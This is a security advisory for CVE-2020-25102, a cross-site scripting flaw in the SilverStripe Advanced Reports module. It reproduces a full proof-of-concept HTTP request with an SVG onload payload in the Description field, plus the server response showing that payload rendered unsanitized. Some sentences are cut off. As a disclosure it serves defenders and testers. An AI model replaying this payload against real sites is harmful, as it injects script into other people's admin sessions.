

CVE-2020-25102 - Cross Site Scripting (XSS) - SilverStripe Advanced Reports Module

CVE-2020-25102.txt

```
1 CVE-2020-25102 - Cross Site Scripting (XSS) - SilverStripe Advanced Reports Module
2
3 SilverStripe Advanced Reports Module (aka silverstripe-advancedreports) 1.0 through 2.0 is vulnerable to Cross-Site Scripting (XSS) due to
4
5 To exploit vulnerability, attacker has to change send malicious request to store JavaScript payload within it.
6
7 Request to the server:
8 Request (with <svg onx=() onload=(confirm)(1)payload in Description parameter)
9
10 GET /admin/advanced-reports/DataObjectReport/EditForm/field/DataObjectReport/item/4054/ItemEditForm?action_reportpreview=1&
11 PreviewFormat=html&
12 GeneratedReportTitle=aaaa&
13 GeneratedReports%5BGridState%5D=%7B%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D%2C%22GridFieldFilterHeader%22%3A%7B%22C
14 filter%5BGeneratedReports%5D%5BTitle%5D=%&
15 filter%5BGeneratedReports%5D%5BCreated%5D=%&
16 Title=AAAA&
17 ReportOn=AdvancedDisruptionReport&
18 Description=BBBB%3Csvg+onx%3D()+onload%3D(confirm)(1)%3E&
19 ReportFields%5B%5D=%&
20 ReportHeaders%5B%5D=%&
21 ConditionFields%5B%5D=%&
22 ConditionOps%5B%5D=%&
23 ConditionValues%5B%5D=%&
24 ReportParams%5Bkey%5D%5B%5D=%&
25 ReportParams%5Bval%5D%5B%5D=%&
26 SortBy%5B%5D=%&
27 SortDir%5B%5D=%&
28 NumericSort%5B%5D=%&
29 PaginateBy=&
30 PageHeader=%24name&
31 AddInRows%5B%5D=%&
32 AddCols%5B%5D=%&
33 FieldFormattingField%5B%5D=Title&
34 FieldFormattingField%5B%5D=%&
35 FieldFormattingFormatter%5B%5D=DecimalHoursFormatter&
36 FieldFormattingFormatter%5B%5D=%&
37 ClearColumns%5B%5D=%&
38 ScheduledTitle=%3Ch1%3E%3Cs%3Etest&
39 FirstScheduled%5Bdate%5D=%&
40 FirstScheduled%5Btime%5D=%&
41 ScheduleEvery=&
42 ScheduleEveryCustom=&
43 EmailScheduledTo=&
44 SecurityID=382897efe1e0607e0a7570a1954b385b0dbadf3e HTTP/1.1
45 Referer: https://localhost/admin/advanced-reports/DataObjectReport/EditForm/field/DataObjectReport/item/4054/edit
46 Cookie: __cfduid=d0c3541462977db564a5667b0b493f0f51598983705;
47 SECSID=j890kulq47eqda563ah2u8uk4r;
48 cf_clearance=f212f42d931b43f92e251b2461a680d26855130a-1598983918-0-1z6ceea101zb4a7f96z855a6
49
50 Response (rendering payload without proper sanitization):
51 HTTP/1.1 200 OK
52 Date: Tue, 01 Sep 2020 18:13:05 GMT
53 Content-Type: text/html; charset=utf-8
54 Connection: close
55 Set-Cookie: AWSALB=MEKj3BYWceKwCHE+IXAHq0ud4/tl05fdP7duiNYF9UivRHvUBgBu9Wmis0oMFDTA1Ayu75ELQNW6cyFLMYzxXEHA6516Noj1rNfcf3eUHR2anf4B1CV5yNA
56 Set-Cookie: AWSALBCORS=MEKj3BYWceKwCHE+IXAHq0ud4/tl05fdP7duiNYF9UivRHvUBgBu9Wmis0oMFDTA1Ayu75ELQNW6cyFLMYzxXEHA6516Noj1rNfcf3eUHR2anf4B1CV
57 X-Controller: AdvancedReportsAdmin
58 X-Title: SilverStripe++Advanced+Reports
59 X-Frame-Options: SAMEORIGIN
60 Vary: X-Requested-With,Accept-Encoding
61 Cache-Control: no-cache, no-store, must-revalidate
62 Strict-Transport-Security: max-age=0;
63 X-Content-Type-Options: nosniff
64 X-XSS-Protection: 1; mode=block
65 Last-Modified: Tue, 01 Sep 2020 18:12:56 GMT
66 Cache-Control: max-age=0
67 Expires: Tue, 01 Sep 2020 18:13:05 GMT
68 Content-Length: 137437
69
70 <html>
71   <head>
72     <base href="https://localhost/"><!--[if lte IE 6]></base><![endif]-->
73     (...)
74     <h1>AAAA</h1>
75     <p class="reportDescription">BBBB<svg onx=() onload=(confirm)(1)></p>
76     <p>Generated 02/09/2020 4:12am</p>
77   </div>
78   <div class="landscape newPage">
79
80     <table class="reporttable" cellpadding="0" cellspacing="0"><thead><tr>
```

```
81 </tr></thead><tbody>
82 (...)
83
84
85 References:
86 https://github.com/nyeholt/silverstripe-advancedreports/releases
87 https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
88 https://www.owasp.org/images/b/bc/OWASP\_Top\_10\_Proactive\_Controls\_V3.pdf
89 https://www.owasp.org/index.php/Testing\_for\_Reflected\_Cross\_site\_scripting\_\(OTG-INPVAL-001\)
90 https://www.owasp.org/index.php/Testing\_for\_Stored\_Cross\_site\_scripting\_\(OTG-INPVAL-002\)
91 https://www.owasp.org/index.php/Testing\_for\_DOM-based\_Cross\_site\_scripting\_\(OTG-CLIENT-001\)
92
93
94 Maciej Domanski / AFINE.com team
```

